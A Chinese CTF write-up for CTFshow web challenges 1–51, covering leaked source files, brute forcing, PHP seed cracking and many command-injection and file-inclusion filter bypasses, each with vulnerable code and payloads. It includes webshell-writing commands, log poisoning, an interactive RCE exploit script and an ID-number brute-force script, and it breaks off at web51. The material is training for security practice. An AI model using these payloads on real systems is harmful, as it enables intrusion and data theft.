CTFshow_Web
信息收集:(完工)
Web 1-5
- 查看网页源代码
- 抓个包看有没有藏东西
- 查看robots.txt
- phps源码泄露,访问index.phps,通过其源码泄露,在其中找到flag
Web6
网页提示下载源码查看,访问url/www.zip得到源码文件
解压文件我们得到
打开fl00g.txt,没有我们想要的flag
打开index.php
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-01 14:37:13
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-01 14:42:44
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in fl000g.txt
echo "web6:where is flag?"
?>
|
显示flag in fl00g.txt
直接访问url/fl00g.txt得到flag
web7
git泄露,访问url/.git即可得到flag
web8
svn泄露,访问url/.git即可得到flag
web9
vim缓存信息泄露,访问url/index.php.swp,打开下载的index.php.swp即可得到flag
web10
根据hint查看cookie可以看到
cookie:flag=ctfshow%7B3ac14c03-64d1-41aa-9328-c97bcceeb840%7D
进行url解码即可得到flag
web11
域名解析
我们可以通过nslookup来进行域名解析查询
Text Only |
---|
| nslookup -qt=any URL
//遍历所有格式
|
Text Only |
---|
| nslookup -qt=TXT URL
//查询txt格式
|
web12
hint:有时候网站上的公开信息,就是管理员常用密码
先用dirsearch扫一下
访问admin,要求我们输入管理员账号密码,根据后台路径我们可以猜测账号为admin
回到主页,在网页的底部我们可以看到一个电话Help Line Number : 372619038
猜测电话为管理员密码,输入后成功得到flag
web13
在页面底部可以看到一个document
点击发现下载了一个document.pdf文件,文件里有后台的地址和账号密码
d
登录后台即可得到flag
web14
根据hint知道editor处应该有信息泄漏(虽然不知道什么是editor)
我们先用dirsearch扫一下后台
访问url/editor
是一个文字编辑的页面,我们可以发现在上传附件📎出可以调用出到服务器的文件管理器
在服务器的根目录没看到flag,尝试查看网站的根目录(var/www/html),看看有没有隐藏页面
发现nothinghere文件夹中有个fl00g.txt文件
访问url/nothinghere/f1000g.txt即可得到flag
web15
扫描到后台为url/admin,打开看到有个忘记密码,要求输入城市
根据hint我们可以在主页底部找到一个qq邮箱,查询一下qq号
得到信息,现居陕西西安
输入西安成功重置密码,输入重置密码和帐号admin,成功得到flag
Web16
探针泄漏
dirsearch 扫描不到这个探针,看wp才知道的
探针在url/tz.php
访问探针
在指针里面可以找到phpinfo页面
打开在phpinfo里面可以找到flag
web17
sql备份泄漏
用dirsearch扫出来存在sql备份泄漏,下载backup.sql,打开得到flag
web18
本题是一个游戏,玩到101分就能得到flag
我们直接看js
Flappy_js.js
审一下代码,我们可以看到当分数大于100的时候会输出这段文字,这段文字看着像unidcode编码,解码试试
根据提示访问url/110.php,得到flag
web19
题目是一个登录的页面,根据hint查看网页源代码
根据提示,这道题应该是一道对密码进行了加密的题目
审阅一下代码我们得到这些信息
mode模式: CBC padding 填充方式: ZeroPadding
密文输出编码: 十六进制hex 偏移量iv: ilove36dverymuch 密钥:0000000372619038
密文为: a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
AES 加密/解密 - 锤子在线工具
用解密工具解密一下密文我们可以得到密码为
输入密码,得到flag
web20
hint:mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。
这是一个使用access数据库的asp程序
根据提示本题存在mdb文件泄露,那我们直接访问url/db/db.mdb
下载db.mdb文件后用记事本打开搜索flag,即可得到 flag{ctfshow_old_database}
爆破:(完工)
web21
抓个包
我们可以看到他的账号密码是通过base64编码加密后再发送的,问题不大
payload设置如下
我们还要设置一下payload处理
开始爆破,根据长度或者状态码判断即可
web22
域名爆破
通过爆破ctf.show的子域名可以爆破到flag.ctf.show
访问即可得到flag(虽然已经挂了)
web23
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
|
分析代码可知: 需要找到一个合适的 token 值,使得以下条件成立:
1、md5(token) 的第 1 位(从 0 开始算)等于第 14 位
2、md5(token) 的第 14 位等于第 17 位。
3、md5(token) 的第 1 位的整数值、14 位的整数值、和 17 位的整数值的和除以第 1 位的整数值等于第 31 位的整数值。
既然不知道怎么凑那我们可以尝试爆破
通过bp爆破一下1-1000中是否有符合上述条件的字符串
哎我草,怎么就爆破出来了,虽然不知道为什么纯数字还能爆出来
其他解法,可以用大佬的脚本
Python |
---|
| # coding: utf-8
# alberthao
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
for a in dic:
for b in dic:
t = str(a) + str(b)
md5 = hashlib.md5(t.encode('utf-8')).hexdigest()
# print md5
# print md5[1:2]
# print md5[14:15]
# print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15] == md5[17:18]:
if (ord(md5[1:2])) >= 48 and ord(md5[1:2]) <= 57 and (ord(md5[14:15])) >= 48 and ord(md5[14:15]) <= 57:
if (ord(md5[17:18])) >= 48 and ord(md5[17:18]) <= 57 and (ord(md5[31:32])) >= 48 and ord(
md5[31:32]) <= 57:
if (int(md5[1:2]) + int(md5[14:15]) + int(md5[17:18])) / int(md5[1:2]) == int(md5[31:32]):
print(t)
|
or
Python |
---|
| import hashlib
for i in range(1,10000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[1] != md5[14] or md5[14]!= md5[17]:
continue
if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:
if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):
print(i)
|
web24
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>
|
这道题考察的是一个php伪随机数的题目
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
虽然说是随机数,但是同一个种子会生成同一串数字
poc
PHP |
---|
| <?php
mt_srand(372619038);
echo intval(mt_rand());
?>
|
不知道跟版本有没有关系,我随便找的php在线运行,成功得到flag
web25
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
|
继续php伪随机数
我们需要知道一个性质
当mt_srand()中的种子是固定的,那么我们生成的随机数的序列就是相同的,如下
PHP |
---|
| <?php
mt_srand(1852100618);
echo mt_rand();
echo mt_rand();
echo mt_rand();
echo mt_rand();
'''
1640856123
1390302953
893879251
859994814
|
在这道题里面我们需要得到前三个随机数
第一个随机数我们可以使r=0得到,第一个随机数为1640856123
得到第一个随机数之后我们可以通过爆破的方式得到种子,从而得到第二,第三个随机数
php脚本(极其慢)
PHP |
---|
| <?php
$a= 390148868;//第一个随机数
$b= 0 ;
while (true){
mt_srand($b);
if(mt_rand()==$a){
echo "success:"+$b;
break;
}
echo $b;
echo "\n";
$b+=1;
}
|
或者使用php_mt_seed-4.0工具
我们可以看到不同版本的seed是不同的,我们一个个试试就行了
PHP |
---|
| mt_srand(1852100618);
echo mt_rand();// 第一次随机数(不能少)
echo "\ntoken:";
echo (mt_rand()+mt_rand()); //第二和第三次随机数相加,也就是我们要对token
|
得到token的值,我们只需要使rand为零即可得到flag
也就是说我们只需要使r等于第一次随机数即可
传参,得到flag
web26
这么多我咋爆,赌一把只爆密码
web27
这题是一个教务系统,需要通过账号密码登录
先信息收集一下
我们可以看到在账号密码下面有一个录取名单和学生学籍信息查询系统
分别如上,那我们是否可以通过爆破学生的身份证信息从而通过录取查询查到学生的信息呢?
bp抓个包
哎我草,我数据呢
forward一下(是因为数据实际上在checkdb.php才提交吗?不是很懂)
我们可以发现其实身份证缺失的部分刚好是出生日期
那我们可以用bp中的日期爆破功能
爆出来的msg用unicode解码一下就能得到账号密码了
贴个大佬的脚本
Python |
---|
| url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php' NUM=32
def run_tasks(L): U=[] for i in L: U.append(asyncio.ensure_future(i)) loop = asyncio.get_event_loop() loop.run_until_complete(asyncio.wait(U))
class TaskRuner: def init(self,n) -> None: self.L=[] for i in range(n): self.L.append(self.task_function(i)) self.task_num=n async def task_function(self,n): pass def run(self): run_tasks(self.L) self.on_over() def on_over(self): pass
import aiohttp from urllib.parse import quote from datetime import date, timedelta
class NYR: def init(self,start_date,end_date) -> None: self.start_date=start_date self.end_date=end_date self.delta = timedelta(days=1) self.current_date = start_date def next(self): t=self.current_date if t>self.end_date: return None self.current_date+=self.delta return t
class Scanner(TaskRuner): def init(self,d1,d2,n) -> None: super().init(n) self.nyr=NYR(d1,d2) self.alive=True
async def task_function(self, n):
while self.alive:
u=self.nyr.next()
if not u:
break
r=await self.login(u)
if r:
self.alive=False
async def login(self,t:date):
url='https://bbc133e5-8f17-4c12-a7a2-88fecb9ac079.challenge.ctf.show/info/checkdb.php'
n=t.year
y=t.month
r=t.day
n=str(n)
y=str(y)
r=str(r)
if len(y)==1:
y='0'+y
if len(r)==1:
r='0'+r
sfz='621022'+n+y+r+'5237'
data={
'a':'高先伊',
'p':sfz,
}
sess=aiohttp.ClientSession()
try:
r=await sess.post(url=url,data=data,ssl=False)
text=await r.text()
js=loads(text)
msg=js['msg']
print(sfz,msg)
await sess.close()
return msg!='提交信息有误'
except Exception as e:
print(e)
pass
try:
await sess.close()
except:
pass
return False
async def handle_up(self,u,p):
pass
a=Scanner(date(1990,1,1),date(2010,12,12),NUM)
a.run()
|
web28
这题本来不知道要干嘛
dirsearch扫一下,感觉应该是目录爆破
先爆破一下0-100
命令执行:
web29
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
可以看到通过eval函数可以执行php代码或者系统命令,其中过滤了flag。
进行绕过就行,解法很多
-
c=system("cat fl*g.php | grep -E 'fl.g' ");
-
c=system("tac fl*g.php");
-
c=system("cat fl*g.php");(用cat要右键查看源代码才能看到回显)
-
c=system("cp fl*g.php a.txt ");(访问a.txt查看)
-
c=system('echo -e " <?php \n error_reporting(0); \n $c= $_GET[\'c\']; \n eval($c); " > a.php'); //直接新建一个页面并写入一句话木马
(/a.php?c=system("tac flag.php");)
-
?c=echo `tac fla*`;
....
web30
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这里过滤了关键字flag,system还有php,由于过滤了system我们需要使用其他的系统函数进行命令执行
payload:
-
c=printf(exec("cat%20fl*"));
-
c=echo exec("cat f\lag.p\hp");
-
c=show_source(scandir(".")[2]); (这个函数会返回一个包含当前目录下所有文件和目录项的数组)
-
c=highlight_file(next(array_reverse(scandir("."))));
-
c=passthru("tac fla*");
-
c=echo `tac fla*`;
-
c=\(a=sys;\)b=tem;\(c=\)a.\(b;\)c("tac fla");
-
c=echo shell_exec("tac fla*");
-
c=eval($_GET[1]);&1=system("tac flag.php");
-
c=passthru(base64_decode("Y2F0IGZsYWcucGhw=="));(base64绕过)
......
web31
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这题屏蔽了关键词 /flag|system|php|cat|sort|shell|.| |\'
payload:
- c=eval($_GET[1]);&1=system("tac flag.php");
- c=show_source(scandir(getcwd())[2]);
- c=show_source(next(array_reverse(scandir(pos(localeconv())))));
- c=passthru("tac%09fla*");
- c=echo`tac%09fla*`;
web32
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
这题屏蔽了关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(
过滤了空格可以用${IFS}
和%0a
代替,分号可以用?>
代替
用include构造payload:
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者
url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>
得到的结果用base64解码一下就可以得到flag了
或者用日志注入:
url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log
/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
web33
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
屏蔽的关键词比上一题多了个双引号 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|\"
继续使用include构造payload:
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者
url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>
web34
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
屏蔽的关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"
继续使用include构造payload:
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者
url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>
web35
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
屏蔽关键词 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"|\<|=
继续使用include构造payload:(wsm还能秒)
url/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
或者
url/?c=include$_GET[1]?>&1=data://text/plain,<?php%20system("tac%20flag.php")?>
web36
PHP |
---|
| <?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 04:21:16
\# @email: [email protected]
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
屏蔽关键字 /flag|system|php|cat|sort|shell|.| |\'|`|echo|\;|(|:|\"|\<|=|\/|[0-9]
不是哥们,数字也要屏蔽,那我改一下不就好了
继续使用include构造payload:
url/?c=include$_GET[m]?>&m=php://filter/convert.base64-encode/resource=flag.php
或者
url/?c=include$_GET[m]?>&m=data://text/plain,<?php%20system("tac%20flag.php")?>
web37
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
|
不是哥们,怎么还是文件包含
payload:
?c=data://text/plain,<?php system("tac fla*.php")?>
或者
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
web38
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
|
payload:
?c=data://text/plain,<?=system("tac%20fla*")?>
或者
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
web39
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
|
这里会在我们传入的c后面拼接一段.php
我们只需要在加入<?php ?>那么php就只会执行中间的代码,后面的内容不会执行
故payload:
?c=data://text/plain,<?php system("tac fla*.php")?>
web40
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
|
屏蔽关键词 /[0-9]|~|`|\@|#|\$|\%|^|\&|*|\(|\)|-|=|+|{|[|]|}|:|\'|\"|\,|\<|.|>|\/|\?|\\
这里要使用无参命令执行
payload:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
关于无参命令执行的一些解释
web41
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
|
过滤内容:/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i
这个题过滤了$、+、-、^、~
使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
大佬的脚本
PHP |
---|
| <?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
|
Python |
---|
| # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
|
将两个文件放在同一个文件夹,运行exp.py即可
羽师傅nb
注意链接要用http不能用https
web42
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
|
这道题会将我们输入的命令与" >/dev/null 2>&1"
进行拼接
/dev/null 2>&1 意思是将标准输出和标准错误都重定向到 /dev/null 即不回显
导致我们无法成功执行
我们可以通过%0a
截断的方式绕过
tac fl*%0a
or
; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
过滤了分号和cat,可以用||和&来代替分号,tac代替cat
可构造playload:
url/?c=tac flag.php||
url/?c=tac flag.php%26
注意,这里的&需要url编码
web43
过滤了cat、;,
不是很影响
Text Only |
---|
| tac fl*%0a
or
tac flag.php||
...
//记得转url编码
|
web44
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了;|cat|flag
小问题
Text Only |
---|
| tac fl*%0a
or
tac f*||
...
//记得转url编码
|
web45
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了;|cat|flag
和空格
可以用%09或\(IFS\)9代替空格
Text Only |
---|
| tac%09fl*%0a
or
tac%09f*||
or
echo$IFS`tac$IFS*`%0A
...
//记得转url编码
|
web46
Text Only |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤有点多啊
\;|cat|flag| |[0-9]|\$|*
但是事实上我们上题使用的方法并不会受到影响,因为%09是url编码,不会被当成数字过滤
Text Only |
---|
| tac%09fl*%0a
or
tac%09f*||
or
tac<f*||
//记得转url编码
|
web47
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤这么多O.o?
\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail
但是幸好我用的是tac
Text Only |
---|
| tac%09fl*%0a
or
tac%09f*||
or
tac<f*||
//记得转url编码
|
web48
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤更多了
\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`
Text Only |
---|
| tac%09fl??.php%0a
or
tac%09fl??.php%7c%7c
//记得转url编码
|
web49
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了
\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%
虽然过滤了%但是是不影响我们传入的url编码的
Text Only |
---|
| tac%09fl??.php%0a
or
tac%09fl??.php%7c%7c
|
web50
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了
\;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|`|\%|\x09|\x26
坏,没法用%09代替空格,没法用?代替字符
不过幸好还有<和''
Text Only |
---|
| tac<fla%27%27g.php||
or
tac<fla%27%27g.php%0a
|
web51
PHP |
---|
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: [email protected]
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
|
过滤了
